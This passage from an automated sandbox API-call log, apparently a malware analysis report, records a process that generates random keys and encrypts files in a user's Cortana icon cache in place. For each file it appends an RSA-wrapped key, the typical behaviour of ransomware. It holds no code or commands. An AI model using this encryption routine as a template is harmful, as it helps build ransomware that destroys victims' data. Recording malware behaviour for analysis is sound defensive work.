(in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.028] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.028] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.028] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.028] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.028] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.028] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.028] CloseHandle (hObject=0x1af4) returned 1 [0181.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.030] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{25F897FC-E052-47D8-81FA-058F7D44DB07}", dwFileAttributes=0x80) returned 1 [0181.030] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{25F897FC-E052-47D8-81FA-058F7D44DB07}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{25f897fc-e052-47d8-81fa-058f7d44db07}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.031] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.031] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.032] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.032] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.032] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.032] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.032] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.033] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.033] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.033] CloseHandle (hObject=0x1af4) returned 1 [0181.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.041] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{238B3853-BA53-44A6-88BA-A0867B43ED76}", dwFileAttributes=0x80) returned 1 [0181.041] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{238B3853-BA53-44A6-88BA-A0867B43ED76}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{238b3853-ba53-44a6-88ba-a0867b43ed76}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.042] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.042] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.043] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.043] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.043] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.043] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.043] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.043] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.044] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.044] CloseHandle (hObject=0x1af4) returned 1 [0181.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.045] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1E2A2306-C9C1-4028-A5D7-F2EC7326097B}", dwFileAttributes=0x80) returned 1 [0181.046] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1E2A2306-C9C1-4028-A5D7-F2EC7326097B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{1e2a2306-c9c1-4028-a5d7-f2ec7326097b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.046] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.046] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.047] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.047] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.048] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.048] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.048] CloseHandle (hObject=0x1af4) returned 1 [0181.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.049] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{197DFB5F-C4AA-4B34-9390-72C57DC8BFF8}", dwFileAttributes=0x80) returned 1 [0181.050] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{197DFB5F-C4AA-4B34-9390-72C57DC8BFF8}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{197dfb5f-c4aa-4b34-9390-72c57dc8bff8}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.050] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.050] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.052] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.052] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.052] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.052] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.052] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.053] CloseHandle (hObject=0x1af4) returned 1 [0181.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{16DAFC99-00F8-4C05-A46A-BCB142A0CCD2}", dwFileAttributes=0x80) returned 1 [0181.054] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{16DAFC99-00F8-4C05-A46A-BCB142A0CCD2}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{16dafc99-00f8-4c05-a46a-bcb142a0ccd2}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.055] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.055] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.056] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.056] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.056] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.057] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.057] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.057] CloseHandle (hObject=0x1af4) returned 1 [0181.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{13195EA8-15F2-47D9-A532-E81062D4B757}", dwFileAttributes=0x80) returned 1 [0181.062] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{13195EA8-15F2-47D9-A532-E81062D4B757}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{13195ea8-15f2-47d9-a532-e81062d4b757}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.063] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.063] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.064] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.064] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.064] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.065] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.065] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.065] CloseHandle (hObject=0x1af4) returned 1 [0181.066] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.066] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.066] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1312ADBB-3D3B-423F-AA97-1A3E9F16657A}", dwFileAttributes=0x80) returned 1 [0181.067] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1312ADBB-3D3B-423F-AA97-1A3E9F16657A}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{1312adbb-3d3b-423f-aa97-1a3e9f16657a}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.067] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.067] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.068] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.069] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.069] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.069] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.069] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.070] CloseHandle (hObject=0x1af4) returned 1 [0181.072] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.072] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.072] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1266D82E-09AF-4573-B530-14687B493988}", dwFileAttributes=0x80) returned 1 [0181.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1266D82E-09AF-4573-B530-14687B493988}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{1266d82e-09af-4573-b530-14687b493988}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.073] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.073] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.074] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.074] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.075] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 